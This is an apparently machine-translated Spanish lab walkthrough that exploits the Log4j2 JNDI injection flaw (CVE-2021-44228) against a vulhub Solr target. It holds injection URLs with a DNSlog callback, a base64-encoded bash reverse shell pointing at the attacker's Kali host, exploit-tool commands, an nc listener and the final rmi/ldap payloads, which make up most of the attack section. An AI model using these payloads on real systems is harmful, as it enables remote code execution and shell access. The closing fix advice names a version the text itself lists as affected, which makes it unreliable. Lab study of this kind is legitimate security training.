Directorio de artículos
Introducción a Apache Log4j
Apache log4j es un proyecto de código abierto de Apache y Apache log4j2 es una herramienta de registro para Java. Esta herramienta reescribe el marco log4j e introduce una gran cantidad de características enriquecidas. Podemos controlar el destino de la transmisión de información de registro como consola, archivo, componente GUI, etc. Al definir el nivel de cada información de registro, podemos controlar el proceso de generación de registro con más detalle.
Introducción a la vulnerabilidad
Existe una vulnerabilidad de inyección JNDI en log4j2, que puede activarse cuando el programa registra los datos ingresados por el usuario. La explotación exitosa de esta vulnerabilidad podría conducir a la ejecución de código arbitrario en el servidor de destino.
Versión afectada
Apache Log4j2 2.0-beta9 - 2.15.0 (excluyendo las versiones de seguridad 2.12.2, 2.12.3 y 2.3.1)
Número de vulnerabilidad
CVE-2021-44228
Afecta a la aplicación del componente
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2
Preparación ambiental
entorno de prueba | IP |
---|---|
Kali | 192.168.174.128 |
dron objetivo | 192.168.174.131 |
Construcción de campo de tiro
Use vulhub para la construcción de campos de tiro, si no sabe cómo usarlo, lea los artículos anteriores.
Docker construye un campo de tiro de vulnerabilidad (Vulhub, Vulnapp, Vulfocus)
Use la ventana acoplable para construir un campo de tiro de vulnerabilidad de vulfocus
cd vulhub-master/log4j/CVE-2021-44228
docker-compose up -d
Acceso al navegador http://192.168.174.131:8983/, la implementación del campo de tiro es exitosa
explotar
Prueba POC, aparece la siguiente interfaz, puede haber una vulnerabilidad de inyección JNDI en log4j2
http://192.168.174.131:8983/solr/admin/cores?action=1
Intente acceder a dnslog, hay registros de acceso, hay una vulnerabilidad de inyección JNDI en log4j2
Sitio web de dnslog
https://www.callback.red/
El poc es el siguiente:
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vx9w.callback.red}
usar herramientas
Log4j2 - Herramienta de explotación de inyección JNDI
Cómo utilizar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
Operación de caparazón de rebote
comando de shell inverso
bash -i >& /dev/tcp/ip/port 0>&1
Aquí, la máquina de ataque kali construye un comando de shell inverso
bash -i >& /dev/tcp/192.168.174.128/9999 0>&1
Codifique este comando en Java Runtime Bash
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
El comando codificado se ingresa a la herramienta JNDI a través del parámetro -C, y la dirección IP de kali se especifica a través del parámetro -A
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.174.128
Consigue la EXP del caparazón inverso
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.174.128:1099/dctv93
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/fngumm
ldap://192.168.174.128:1389/fngumm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/bnntjh
ldap://192.168.174.128:1389/bnntjh
El atacante escucha en el puerto 9999
nc -lvvp 9999
Enviar EXP
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:rmi://192.168.174.128:1099/gw42ym}
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.174.128:1389/gw42ym}
El shell inverso es exitoso
Sugerencias para corregir errores
升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2